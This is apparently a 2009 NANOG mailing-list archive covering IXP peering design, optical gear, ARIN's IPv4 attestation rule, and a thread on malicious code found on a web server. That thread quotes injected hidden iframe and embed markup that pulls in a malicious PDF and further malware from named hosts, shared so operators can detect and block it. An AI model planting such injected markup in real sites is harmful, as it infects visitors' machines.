Re: IXP
A solution I put in place at UUnet circa 1997 was to take a set of /32 routes representing major destination, e.g. ISP web sites, content sites, universities, about 20 of them, and temporarily place a /32 static route to each participant at the public exchange and traceroute to the destination. In this manner one can build a matrix to see how each participant gets to each destination. When we found someone sending traffic to us with whom we were not peering, it was only a small bit of work to contact the ISP and ask them to fix the error. One guy whose initial were GBO fixed it several times if I remember correctly. I wonder how prevalent third-party next hops (here share my peering!) are nowadays? From time to time it was interesting to watch peers and see when they figured out others were using them for transit. BTW, I wonder how many folks did do the ICMP acl stuff. We never did it at UUNET that I remember. In 1997 I know the routers could handle the ACL, at least as well as routers in those days could be said to handle traffic. The guy that taught it to me had the initial NS over a margarita at Rio Grande. Completely preventing the potential for the problem is superior to detecting it. But at the time, without a clear method for preventing it, detection was good. I remember MFS tried to implement mac filters but bugs in the code rendered it a moot exercise. -alan vijay gill wrote: If you are unfortunate enough to have to peer at a public exchange point, put your public ports into a vrf that has your routes. On 4/18/09, Jeff Young yo...@jsyoung.net wrote: Best solution I ever saw to an 'unintended' third-party peering was devised by a pretty brilliant guy (who can pipe up if he's listening). On Apr 18, 2009, at 11:35 AM, Nick Hilliard wrote On 18/04/2009 01:08, Paul Vixie wrote: pointing default,
Re: So I've got this 2.5gig wave, what do I do with it?
On Fri, 17 Apr 2009 15:02:29 -0400 Eric Van Tol e...@atlantech.net wrote: -Original Message- From: Eric Van Tol [mailto:e...@atlantech.net] Sent: Friday, April 17, 2009 2:44 PM To: nanog@nanog.org Subject: RE: So I've got this 2.5gig wave, what do I do with it? -Original Message- From: Kevin Hunt [mailto:kh...@huntbrothers.com] Sent: Friday, April 17, 2009 12:28 PM To: w...@loopfree.net; nanog@nanog.org Subject: Re: So I've got this 2.5gig wave, what do I do with it? I haven't used MRV but they look appealing, would love to hear other folks experience with them as I'm about to have to turn another two of these up... -- We use the MRV LamdaDrivers and they work well. We use the EM2009-G2 on our own dark fiber loops and provide dual GE connectivity on a single 2.5G wavelength. Equipment is pretty barebones, but quite solid. Management module can be rebooted without loss of light on any interfaces (besides those terminated on the management module, of course). There's plenty of options for SFPs wrt distances. However, since the OP is receiving a lit signal from the carrier, I'm not entirely sure it will work in his case, as I *believe* the trunk port requires a WDM SFP, not a standard 850/1310/1550. I could certainly be wrong, though. -evt Sorry to respond to my own post, but I was getting the EM2009-GM2 mixed up with another module we use. We do use the EM2009-GM2, but it does not have an SFP trunk port - it's just a pair of SC connectors on the trunk side. Looks like it can be configured for a specific wavelength by the setting of some jumpers on the module, and it looks like 1310 is possible. http://www.undone.org.uk/em2009-gm2.jpg The modules we have use SFPs for both Access Trunk (WDM) ports. The only jumpers on the boards, to my recollection, are to choose between Gigabit Ethernet or Fibre Channel line protocol on the access ports. The trunk port protocol is mrv proprietary at two-and-a-bit Gbit/sec (2x GigE + TDM overhead). My understanding is that they'll support any sane choice of SFP (some MRV SFPs are clearly NOT sane choices for this card, such as the digital video coax module..) MRV SFP modules sold as multirate or OC48 types can be used for the trunk port. We have some of these cards running with normal 1310nm SFPs in the trunk ports where we only require two Gbit services over a single fibre pair. I can't comment on interop with other carriers' systems - we only use these on end-to-end dark fibre. MRV may able to advise whether or not their trunk protocol is likely to pass through transponders (which may well try to reshape/retime) designed to transport SONET/SDH. d.
Re: Malicious code just found on web server
Paul, I noticed that in the PDF file but as the domain doesn't seem to have resolution I didn't mention it. Jake WHOIS information on the domain Whois Record domain: TEST1.RU type: CORPORATE nserver:ns1.centerhost.ru. nserver:ns1.cetis.ru. state: REGISTERED, DELEGATED org:Center of Effective Technologies and Systems CETIS phone: +7 4957711654 fax-no: +7 4957879251 e-mail: http://www.domaintools.com/registrant-search/?email=f6261250d87c80094b7a5eb64d324e5a e-mail: http://www.domaintools.com/registrant-search/?email=acac76ec2f649d85219bdf7879b125ff registrar: REGRU-REG-RIPN created:2001.03.30 paid-till: 2010.04.03 source: TC-RIPN Registry Data Created: 2001-03-30 Expires: 2010-04-03 Whois Server: whois.ripn.net Server Data Domain Status: Registered And No Website On Fri, Apr 17, 2009 at 9:06 PM, Paul Ferguson fergdawgs...@gmail.comwrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills securin...@gmail.com wrote: I took a quick look at the code... formatted it in a pastebin here: http://pastebin.com/m7b50be54 That javascript writes this to the page (URL obscured): document.write(embed src=\hXXp:// 77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|http://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown%7C U nknown|US|1.2.3.4\ width=\0\ height=\0\ type=\application/pdf\/embed); The 1.2.3.4 in the URL is my public IP address (I changed that). Below the javascript, it grabs a PDF: embed src=include/two.pdf width=1 height=0 style=border:none/embed That PDF is on the site, I haven't looked at it yet though. Not only is that .pdf malicious, when executed it also fetches additional malware from: hxxp:// test1.ru /1.1.1/load.php If that host is not in your block list, it should be -- known purveyor of crimeware. This is in addition to the other malicious URLs mentioned in this thread. - - ferg -BEGIN PGP SIGNATURE- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ6Seaq1pz9mNUZTMRAsePAJ4ltJybvyViJoiTJDbIN9JCMjbZtgCgtOnI mxM8Ci/feKnJe6M6qbiESPw= =b0Yj -END PGP SIGNATURE- -- Fergie, a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/
Re: Malicious code just found on web server 13E-7EB
On Mon, Apr 20, 2009 at 10:42 AM, Jake Mailinglists jbabbinli...@gmail.comwrote: Paul, I noticed that in the PDF file but as the domain doesn't seem to have resolution I didn't mention it. Jake WHOIS information on the domain Whois Record domain: TEST1.RU type: CORPORATE nserver:ns1.centerhost.ru. nserver:ns1.cetis.ru. state: REGISTERED, DELEGATED org:Center of Effective Technologies and Systems CETIS phone: +7 4957711654 fax-no: +7 4957879251 e-mail: http://www.domaintools.com/registrant-search/?email=f6261250d87c80094b7a5eb64d324e5a e-mail: http://www.domaintools.com/registrant-search/?email=acac76ec2f649d85219bdf7879b125ff registrar: REGRU-REG-RIPN created:2001.03.30 paid-till: 2010.04.03 source: TC-RIPN Registry Data Created: 2001-03-30 Expires: 2010-04-03 Whois Server: whois.ripn.net Server Data Domain Status: Registered And No Website On Fri, Apr 17, 2009 at 9:06 PM, Paul Ferguson fergdawgs...@gmail.comwrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills securin...@gmail.com wrote: I took a quick look at the code... formatted it in a pastebin here: http://pastebin.com/m7b50be54 That javascript writes this to the page (URL obscured): document.write(embed src=\hXXp:// 77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|http://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown%7C U nknown|US|1.2.3.4\ width=\0\ height=\0\ type=\application/pdf\/embed); The 1.2.3.4 in the URL is my public IP address (I changed that). Below the javascript, it grabs a PDF: embed src=include/two.pdf width=1 height=0 style=border:none/embed That PDF is on the site, I haven't looked at it yet though. Not only is that .pdf malicious, when executed it also fetches additional malware from: hxxp:// test1.ru /1.1.1/load.php If that host is not in your block list, it should be -- known purveyor of crimeware. This is in addition to the other malicious URLs mentioned in this thread. - - ferg -BEGIN PGP SIGNATURE- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ6Seaq1pz9mNUZTMRAsePAJ4ltJybvyViJoiTJDbIN9JCMjbZtgCgtOnI mxM8Ci/feKnJe6M6qbiESPw= =b0Yj -END PGP SIGNATURE- -- Fergie, a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/
Re: Malicious code just found on web server
On Fri, Apr 17, 2009 at 4:39 PM, Russell Berg b...@wins.net wrote: We just discovered what we suspect is malicious code appended to all index.html files on our web server as of the 11:00 central time hour today: src=http://77.92.158.122/webmail/inc/web/index.php; style=display: none; height=0 width=0/iframe iframe src=http://77.92.158.122/webmail/inc/web/index.php; style=display: none; height=0 width=0/iframe /body /html IP address resolves to mail.yaris.com; couldn't find any A/V site references to this. Google search reveals some Chinese sites with references to the URL today, but nothing substantial in the translation. Just a heads up for folks; we have a team investigating... Russell Berg Dir - Product Development Airstream Communications b...@wins.net 715-832-3726 I've run into this sort of attack before, where they change the page to load content from elsewhere; but I couldn't figure out how they managed to write to the sites' pages. They were hosted on a commercial webhost, and so if it was a compromised host (which seemed like the only possibility to me), that didn't speak well for the hosting company. We were having issues with the company anyways, though; so I took down the site, sanitized the pages (and removed a bunch of junk), and put the site back up with another company. But if you figure out how they got write access to a static website, I'd love to hear it. -N.
Re: Malicious code just found on web server
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Mon, Apr 20, 2009 at 9:47 AM, Neil kngsp...@gmail.com wrote: I've run into this sort of attack before, where they change the page to load content from elsewhere; but I couldn't figure out how they managed to write to the sites' pages. They were hosted on a commercial webhost, and so if it was a compromised host (which seemed like the only possibility to me), that didn't speak well for the hosting company. We were having issues with the company anyways, though; so I took down the site, sanitized the pages (and removed a bunch of junk), and put the site back up with another company. But if you figure out how they got write access to a static website, I'd love to hear it. Most likely SQL injection. At any given time, there are hundreds of thousands of legitimate websites out there that are unwittingly harboring malicious code. - - ferg -BEGIN PGP SIGNATURE- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ7KtQq1pz9mNUZTMRAssaAKDYN8gqpZFaYPBOofGTjdtIbCDcSQCglwP0 W1CxTsNRR8vhO28Tq1LDm7M= =TJbX -END PGP SIGNATURE- -- Fergie, a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/
Re: Malicious code just found on web server
Paul Ferguson wrote: Most likely SQL injection. At any given time, there are hundreds of thousands of legitimate websites out there that are unwittingly harboring malicious code. Most of the MS-SQL injection attacks we see write malicious javascript into the DB itself so all query results include it. However, I'm not sure how easy it is to leverage to get system access - we've seen a number of compromised customer machines and there didn't appear to be any further compromise of them beyond the obvious. In the OP's case it sounds like static HTML files were altered. My bet is that an ftp or ssh account was brute forced. Mike
Re: Malicious code just found on web server
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Mon, Apr 20, 2009 at 10:23 AM, Mike Lewinski m...@rockynet.com wrote: Paul Ferguson wrote: Most likely SQL injection. At any given time, there are hundreds of thousands of legitimate websites out there that are unwittingly harboring malicious code. Most of the MS-SQL injection attacks we see write malicious javascript into the DB itself so all query results include it. However, I'm not sure how easy it is to leverage to get system access - we've seen a number of compromised customer machines and there didn't appear to be any further compromise of them beyond the obvious. In the OP's case it sounds like static HTML files were altered. My bet is that an ftp or ssh account was brute forced. Yes -- SQL Injection directly into the HTML. Happening all over the place, hundreds of thousands at a time --- we've been trying to highlight the fact that improper configuration of web services, unescaped configurations, etc., allow SQL injection to insert code (e.g. JavaScript, iFrames, etc.) directly into the HTML or Header. See also: http://en.wikipedia.org/wiki/Sql_injection#Real-world_examples - - ferg -BEGIN PGP SIGNATURE- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ7LKiq1pz9mNUZTMRAu3sAJ9MB6NH+qn8/idSbfqMk8TRQPzy5gCfb/QY DUCdgzPRORtsLyfDFrfkgTw= =Ar/O -END PGP SIGNATURE- -- Fergie, a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/
Re: Malicious code just found on web server
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Mon, Apr 20, 2009 at 10:40 AM, Nick Chapman nicknetwo...@gmail.com wrote: On Mon, Apr 20, 2009 at 12:47 PM, Neil kngsp...@gmail.com wrote: But if you figure out how they got write access to a static website, I'd love to hear it. Compromised FTP credentials would be my guess. They can be obtained by brute force attacks or credential stealing trojans. Yeah, it could have been any number of ways -- there has also been a huge increase of SSH brute-force attacks in the past few weeks: https://isc.sans.org/diary.html?storyid=6214 - - ferg -BEGIN PGP SIGNATURE- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ7LZrq1pz9mNUZTMRAvjkAJ9FLDn/KsLDrW9uIveQEw23ojaFbQCg7T6C LZo3kISAfgBAfdbRSgUd878= =vQAP -END PGP SIGNATURE- -- Fergie, a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/
Re: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing
On Sat, 18 Apr 2009 03:21:06 BST, andrew.wallace said: The network community and the security community need to collaborate as much as possible to defeat the threats. I'm British and i'm hoping to make UK as secure as possible. Umm. You missed the *very first* principle of proper security design. It shouldn't be as secure as possible. It should be as secure as it needs to be. I mean, I suppose you *could* go with mil-spec security, where all materials are kept in a locked safe under armed guard, and you had to fill out paperwork for each piece of paper you took out of the safe, and then more paperwork when you returned it. But did you *really* want all that effort just to check the headlines on bbc.com? pgpSz12w06nD2.pgp Description: PGP signature
RE: IXP
So here is an idea that I hope someone shoots down. We've been talking about pseudo-wires, and the high level of expertise a shared-fabric IXP needs to diagnose weird switch oddities, etc. As far as I can tell, the principal reason to use a shared fabric is to allow multiple connections to networks that may not justify their own dedicated () router port. Once they do, they can move over to a PNI. However, an IXP is (at the hardware level at least) trying to achieve any-to-any connectivity without concern for capacity up to the port size of each port on every flow. Scaling this to multiple pieces of hardware has posed interesting challenges when the connection speed to participants is of the same order as the interconnection between IXP switches. So here is a hybrid idea, I'm not sure if It has been tried or seriously considered before. Since the primary justification for a shared fabric is cost savings What if everyone who participated at an IXP brought their own switch. For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed 10G. You connect 1-2 ports on your router, you order 18 cross-connects to your favorite peers. The IXP becomes a cross-connect provider (there is a business model bump that can be addressed here, TelX and others could address it). As you need more ports, you add them. A Nexus 5K runs about $500 per port. Here are some advantages. If you have 300 participants, yes, you have a lot of ports/switches. However, as interconnectivity increases, so does the total fabric capacity. Each additional switch does NOT add significant complexity to the participants, but it does bring significant backplane and buffering capabilities. Each participant could then configure their own pVlans, Vlans or whatever on *their* switch. If they screw something up, it doesn't take everyone down. A non-offending participant that interconnects with an offender can shut down 1 port (automatically or manually) without affecting the rest of their services. This also prevents the requirement of very complicated security features in the L2/L3 gray area. If you don't want your peer to have multiple MACs, don't accept them. If you're cool with it, you can let it slide. If you want to move someone over to a PNI, the IXP needs to do zilch. You just move your cross-connect over to a new port on your service window, your peer can do it at the same or a different time, no big deal. If you *keep* it on a switch however, you can use LACP uplinks from the switches you have to provide say 40G uplinks to your router so large peers don't affect your ability to process traffic. I doubt however, that if this model is applied, there is much purpose for PNIs -- the cost savings model mostly vanishes. As you want to move to higher speeds (40G and 100G) the IXP has to do zilch. You can switch your ports or peers at anytime you choose or set up a separate fabric for your 100G peers. An upgrade in port density or capacity for a peer, or set of peers, does not require a forklift of the whole IXP or some strange speed shifting (other than in the affected parties). Disadvantages. It's probably cheaper on a per-participant basis than a shared fabric once it gets to be a certain size. It's a different model (many-to-many vs one-to-many) that many are used to. It requires interconnects to other participants (en masse) to be about the same as the per port cost of a shared fabric (this is probably achievable given what many places charge for 10G ports). Each participant is managing an additional type of gear. Theoretically if someone uses an Extreme and another uses a Cisco, there might be issues, but at a pure vanilla-L2/VLAN level, I'm pretty sure even 2nd and 3rd tier vendors can interconnect just fine. I think this addresses the keep it as simple as possible without over simplifying. There is nothing new to this model except (perhaps) as its applied to an IXP. People have been aggregating traffic by ports into trunks by capacity for a long time. I haven't figured out why it hasn't really been done to scale at the IXP level. Thoughts? Deepak Jain AiNET -Original Message- From: vijay gill [mailto:vg...@vijaygill.com] Sent: Monday, April 20, 2009 12:35 AM To: Jeff Young; Nick Hilliard; Paul Vixie; na...@merit.edu Subject: Re: IXP If you are unfortunate enough to have to peer at a public exchange point, put your public ports into a vrf that has your routes. Default will be suboptimal to debug. I must say stephen and vixie and (how hard this is to type) even richard steenbergens methodology makes the most sense going forward. Mostly to prevent self-inflicted harm on parts of the exchange participants. Will it work? Doubtful in todays internet clue level /vijay On 4/18/09, Jeff Young yo...@jsyoung.net wrote: Best solution I ever saw to an 'unintended' third-party peering was devised by a pretty brilliant guy (who can pipe up if
RE: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing
On Sat, 18 Apr 2009 03:21:06 BST, andrew.wallace said: The network community and the security community need to collaborate as much as possible to defeat the threats. I'm British and i'm hoping to make UK as secure as possible. Umm. You missed the *very first* principle of proper security design. It shouldn't be as secure as possible. It should be as secure as it needs to be. I mean, I suppose you *could* go with mil-spec security, where all materials are kept in a locked safe under armed guard, and you had to fill out paperwork for each piece of paper you took out of the safe, and then more paperwork when you returned it. But did you *really* want all that effort just to check the headlines on bbc.com? Let's not ignore the fact that if you set unreasonably high security standards most likely: a) twitter.com or bbc.com wouldn't exist because of the high security scrutiny they'd have been under before being allowed to connect to anything and b) even if they didn't you wouldn't be able to see them because of the high security scrutiny you'd be under before you were allowed to connect. No one dies from an attack on twitter. Let the court/justice system deal with it whenever they get around to it. It keeps IT folks in jobs all over the place, gives the news things to write about, and gives the NANOG mail servers something to use the network for. Intelligence/security folks are tasked to deal with other things and with a real level of severity -- and it's quantifiable (at least in theory ;) ). Another point, security is ephemeral - A wall used to be the secure as possible solution to protect cities from invaders. An entertainment novelty in China rendered them obsolete when this black powder was reapplied to warfare. Some attacks (e.g. botnets) can only exist because we all have done a great job building networks over the last 15 years. Now we have new challenges. They all take their own time to mature and address. Deepak Jain AiNET
RE: IXP
Hello Deepak: -Original Message- So here is an idea that I hope someone shoots down. We've been talking about pseudo-wires, and the high level of expertise a shared-fabric IXP needs to diagnose weird switch oddities, etc. As far as I can tell, the principal reason to use a shared fabric is to allow multiple connections to networks that may not justify their own dedicated () router port. Once they do, they can move over to a PNI. However, an IXP is (at the hardware level at least) trying to achieve any-to-any connectivity without concern for capacity up to the port size of each port on every flow. Scaling this to multiple pieces of hardware has posed interesting challenges when the connection speed to participants is of the same order as the interconnection between IXP switches. So here is a hybrid idea, I'm not sure if It has been tried or seriously considered before. Since the primary justification for a shared fabric is cost savings What if everyone who participated at an IXP brought their own switch. For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed 10G. [Michael K. Smith - Adhost] This sounds like fertile ground for unintended consequences. Unmanaged spanning tree topological changes as three people, previously connected to their own switch and to others, now decide to connect to each other as well, using those inexpensive L2 ports. Regards, Mike
Re: IXP
* dee...@ai.net (Deepak Jain) [Mon 20 Apr 2009, 23:25 CEST]: So here is an idea that I hope someone shoots down. We've been talking about pseudo-wires, and the high level of expertise a shared-fabric IXP needs to diagnose weird switch oddities, etc. [..] What if everyone who participated at an IXP brought their own switch. For argument's sake, a Nexus 5xxx. It has 20+ ports of L2, wire speed 10G. You didn't Cc: randy bush and I assume he's been delete-threading this so I'll say it instead: I encourage all my competitors to try this. You do realise, I hope, that the ability to diagnose weird switch oddities decreases pretty radically when the switch is outside one's administrative control, right? Ethernet has no administrative boundaries that can be delineated. Spanning one broadcast domain across multiple operators is therefore a recipe for disaster. Attempts to limit this will fail as there is no enforcement possible in such a cooperative environment except yelling after the fact and frantic mailing during meltdowns. I don't think I need to spell out how quick hacks will severely restrict scalability. Cheap, fast, secure. It is obvious which two Ethernet chose. -- Niels. -- We humans get marks for consistency. We always opt for civilization after exhausting the alternatives. -- Carl Guderian
Important New Requirement for IPv4 Requests
Forwarded message: Subject: Important New Requirement for IPv4 Requests From: ARIN Registration Services do-not-re...@arin.net Hello, With the approaching depletion of the IPv4 address free pool, the ARIN Board of Trustees has directed ARIN staff to take additional steps to ensure the legitimacy of all IPv4 address space requests. Beginning 18 May 2009, ARIN will require that all applications for IPv4 address space include an attestation of accuracy from an officer of the organization. For more information on this requirement, please see: https://www.arin.net/resources/agreements/officer_attest.html Whenever a request for IPv4 resources is received, ARIN will ask in its initial reply for the name and contact information of an officer of the organization who will be able to attest to the validity of the information provided to ARIN. At the point a request is ready to be approved, ARIN will send a summary of the request (via e-mail) to the officer with a cc: to the requesting POC (Tech or Admin) and ask the officer to attest to the validity of the information provided to ARIN. The summary will provide a brief overview of the request and an explanation of the required attestation. ARIN will include the original request template and any other relevant information the requestor provided. Once ARIN receives the attestation from the officer, the request can be approved. Attestation may also be provided via fax or postal mail. For further assistance, contact ARIN's Registration Services Help Desk via e-mail to hostmas...@arin.net or telephone at +1.703.227.0660. Let me see if I can understand this. We're running out of IPv4 space. Knowing that blatant lying about IP space justifications has been an ongoing game in the community, ARIN has decided to do something about it. So now they're going to require an attestation. Which means that they are going to require an officer to attest to the validity of the information. So the officer, most likely not being a technical person, is going to contact ... probably the same people who made the request, ask them if they need the space. Right? And why would the answer be any different, now? ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again. - Direct Marketing Ass'n position on e-mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples.
Re: Important New Requirement for IPv4 Requests
On Mon, Apr 20, 2009 at 6:39 PM, Joe Greco jgr...@ns.sol.net wrote: So now they're going to require an attestation. Which means that they are going to require an officer to attest to the validity of the information. So the officer, most likely not being a technical person, is going to contact ... probably the same people who made the request, ask them if they need the space. Right? And why would the answer be any different, now? ... JG -- Easier to take back resources if an officer of the company lied regarding their usage/need, no? Just a thought, although I am by no means an expert in the field of contract law. -brandon -- Brandon Galbraith Voice: 630.400.6992
Re: Important New Requirement for IPv4 Requests
Joe Greco wrote: Forwarded message: Subject: Important New Requirement for IPv4 Requests From: ARIN Registration Services do-not-re...@arin.net Hello, With the approaching depletion of the IPv4 address free pool, the ARIN Board of Trustees has directed ARIN staff to take additional steps to ensure the legitimacy of all IPv4 address space requests. Beginning 18 May 2009, ARIN will require that all applications for IPv4 address space include an attestation of accuracy from an officer of the organization. For more information on this requirement, please see: https://www.arin.net/resources/agreements/officer_attest.html Whenever a request for IPv4 resources is received, ARIN will ask in its initial reply for the name and contact information of an officer of the organization who will be able to attest to the validity of the information provided to ARIN. At the point a request is ready to be approved, ARIN will send a summary of the request (via e-mail) to the officer with a cc: to the requesting POC (Tech or Admin) and ask the officer to attest to the validity of the information provided to ARIN. The summary will provide a brief overview of the request and an explanation of the required attestation. ARIN will include the original request template and any other relevant information the requestor provided. Once ARIN receives the attestation from the officer, the request can be approved. Attestation may also be provided via fax or postal mail. For further assistance, contact ARIN's Registration Services Help Desk via e-mail to hostmas...@arin.net or telephone at +1.703.227.0660. Let me see if I can understand this. We're running out of IPv4 space. Knowing that blatant lying about IP space justifications has been an ongoing game in the community, ARIN has decided to do something about it. So now they're going to require an attestation. Which means that they are going to require an officer to attest to the validity of the information. So the officer, most likely not being a technical person, is going to contact ... probably the same people who made the request, ask them if they need the space. Right? And why would the answer be any different, now? ... JG So I wonder if this applies to some of the players who have recently gotten a /19 for dubious purposes and are so large that an officer of the company may be 1500 miles away. It's a sad state of affairs. Are they going to hold the officer liable if the request is not legit? Manny
Re: Important New Requirement for IPv4 Requests
On Apr 20, 2009, at 7:39 PM, Joe Greco wrote: We're running out of IPv4 space. Knowing that blatant lying about IP space justifications has been an ongoing game in the community, ARIN has decided to do something about it. So now they're going to require an attestation. Which means that they are going to require an officer to attest to the validity of the information. So the officer, most likely not being a technical person, is going to contact ... probably the same people who made the request, ask them if they need the space. Right? And why would the answer be any different, now? Just a thought: A technical person might be very happy to lie to a toothless organization that holds no real sway over him or her, won't revoke the address space once granted, and for whom the benefit of lots of address space in which to play exceeds any potential pain from being caught, er, exaggerating their need for address space. That same technical person might be less inclined to lie to a director of their company who asks: Are you asking me to attest, publicly and perhaps legally, that this information is correct? If you're wrong and you make an ass of me, it's going to be yours that goes out the door. Seems like a reasonable experiment to try, at least. -Dave PGP.sig Description: This is a digitally signed message part
Re: Important New Requirement for IPv4 Requests
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On Apr 20, 2009, at 9:04 PM, David Andersen wrote: Just a thought: A technical person might be very happy to lie to a toothless organization that holds no real sway over him or her, won't revoke the address space once granted, and for whom the benefit of lots of address space in which to play exceeds any potential pain from being caught, er, exaggerating their need for address space. That same technical person might be less inclined to lie to a director of their company who asks: Are you asking me to attest, publicly and perhaps legally, that this information is correct? If you're wrong and you make an ass of me, it's going to be yours that goes out the door. Seems like a reasonable experiment to try, at least. I agree there is no harm in the idea but as I was reading the announcement this morning I couldn't help but think Too little, too late. Chris - -- Chris Owen - Garden City (620) 275-1900 - Lottery (noun): President - Wichita (316) 858-3000 -A stupidity tax Hubris Communications Inc www.hubris.net - -- -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (Darwin) Comment: Public Key: http://home.hubris.net/owenc/pgpkey.txt Comment: Public Key ID: 0xB513D9DD iEYEARECAAYFAkntKl0ACgkQElUlCLUT2d0engCgk3EJW7uu0j9p0ArLjRmZHseP cLMAnRqYov8CwxkF1E1pxP4zktUhA+HS =i5o1 -END PGP SIGNATURE-
Re: Important New Requirement for IPv4 Requests
I don't believe I saw anywhere that these attestations were being made under penalty of perjury or any other method of civil punishment. Do they have to notarized? What are the real benefits here, other then putting more people to work at ARIN and increase the workload of those who really do need new IP space. Shane Ronan On Apr 20, 2009, at 7:04 PM, David Andersen wrote: Are you asking me to attest, publicly and perhaps legally, that this information is correct?
RE: Important New Requirement for IPv4 Requests
I think this needlessly involves people who probably don't have a clue in an area we may not really want them involved in. I can hear the conversation now: Officer: Why do I have to sign this thing? Tech: Well your graciousness. We are coming to the end of the available address space and the gods at ARIN want to make you aware of that so you might approve that request I made for new equipment to deploy IPv6 with. Officer: Huh? Do we need it? Tech: Yes, we need the address space. Officer: And they're running out? Tech: Well out of the v4 space which is what we use now but we can move to v6 space and... Officer: Hell, request 10x as much space! I'll sign anything as long as we don't run out and have to spend money! For me, I request all the allocations and I'm also an officer of the company so I'll just attest to my own stuff but I can see this would be a nightmare in a larger company. There was also an e-mail about outreach to the CEOs of all the companies with resources. At my company the CEO will hand it to me without even opening it. I assume that in many larger companies it might get glanced at by the CEO or CEOs secretary before it gets shredded. While I completely understand the reasons behind both initiatives I don't think they'll have the desired effect. Aaron -Original Message- From: Matthew Moyle-Croft [mailto:m...@internode.com.au] Sent: Monday, April 20, 2009 9:56 PM To: Joe Greco Cc: nanog@nanog.org Subject: Re: Important New Requirement for IPv4 Requests ARIN should ask companies to demonstrate: - demonstration of routing of an IPv6 range/using IPv6 address space - demonstration of services being offered over IPv6 - a plan to migrate customers to IPv6 - automatic allocation of IPv6 range instead of IPv4 for those who can't do so. ie. No more IPv4 for you until you've shown IPv6 clue. Then people can't just get away with driving into the brick wall of IPv4-allocation fail. (Not sure if I'm serious about this suggestion, but it's there now). MMC On 21/04/2009, at 9:09 AM, Joe Greco wrote: Let me see if I can understand this. We're running out of IPv4 space. Knowing that blatant lying about IP space justifications has been an ongoing game in the community, ARIN has decided to do something about it. So now they're going to require an attestation. Which means that they are going to require an officer to attest to the validity of the information. So the officer, most likely not being a technical person, is going to contact ... probably the same people who made the request, ask them if they need the space. Right? And why would the answer be any different, now? ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net We call it the 'one bite at the apple' rule. Give me one chance [and] then I won't contact you again. - Direct Marketing Ass'n position on e- mail spam(CNN) With 24 million small businesses in the US alone, that's way too many apples. -- Matthew Moyle-Croft Networks, Internode/Agile Level 5, 162 Grenfell Street, Adelaide, SA 5000 Australia Email: m...@internode.com.auWeb: http://www.on.net Direct: +61-8-8228-2909 Mobile: +61-419-900-366 Reception: +61-8-8228-2999Fax: +61-8-8235-6909
Re: Important New Requirement for IPv4 Requests
On Apr 20, 2009, at 4:39 PM, Joe Greco wrote: So the officer, most likely not being a technical person, is going to contact ... probably the same people who made the request, ask them if they need the space. Right? And why would the answer be any different, now? This is exactly identical to having the CEO signed the quarterly statements. You are saying this is Right. The CEO couldn't do that accounting him/herself -- but they're going to ask more questions and be more cautious before putting their name on it. I applaud this idea. I wish we had done it 10 years ago, but it's not too late to start. Before late than never. -- Jo Rhett Net Consonance : consonant endings by net philanthropy, open source and other randomness
Re: Important New Requirement for IPv4 Requests
Same reason urgent action networks work for amnesty International. Because when someone thinks other people are watching, truth is revealed. Kind Regards, Carl On Mon, Apr 20, 2009 at 7:39 PM, Joe Greco jgr...@ns.sol.net wrote: Forwarded message: Subject: Important New Requirement for IPv4 Requests From: ARIN Registration Services do-not-re...@arin.net Hello, With the approaching depletion of the IPv4 address free pool, the ARIN Board of Trustees has directed ARIN staff to take additional steps to ensure the legitimacy of all IPv4 address space requests. Beginning 18 May 2009, ARIN will require that all applications for IPv4 address space include an attestation of accuracy from an officer of the organization. For more information on this requirement, please see: https://www.arin.net/resources/agreements/officer_attest.html Whenever a request for IPv4 resources is received, ARIN will ask in its initial reply for the name and contact information of an officer of the organization who will be able to attest to the validity of the information provided to ARIN. At the point a request is ready to be approved, ARIN will send a summary of the request (via e-mail) to the officer with a cc: to the requesting POC (Tech or Admin) and ask the officer to attest to the validity of the information provided to ARIN. The summary will provide a brief overview of the request and an explanation of the required attestation. ARIN will include the original request template and any other relevant information the requestor provided. Once ARIN receives the attestation from the officer, the request can be approved. Attestation may also be provided via fax or postal mail. For further assistance, contact ARIN's Registration Services Help Desk via e-mail to hostmas...@arin.net or telephone at +1.703.227.0660. Let me see if I can understand this. We're running out of IPv4 space. Knowing that blatant lying about IP space justifications has been an ongoing game in the community, ARIN has decided to do something about it. So now they're going to require an attestation. Which means that they are going to require an officer to attest to the validity of the information. So the officer, most likely not being a technical person, is going to contact ... probably the same people who made the request, ask them if they need the space. Right? And why would the answer be any different, now? ... JG -- Joe Greco - sol.net Network Services - Milwaukee, WI - http://www.sol.net We call it the 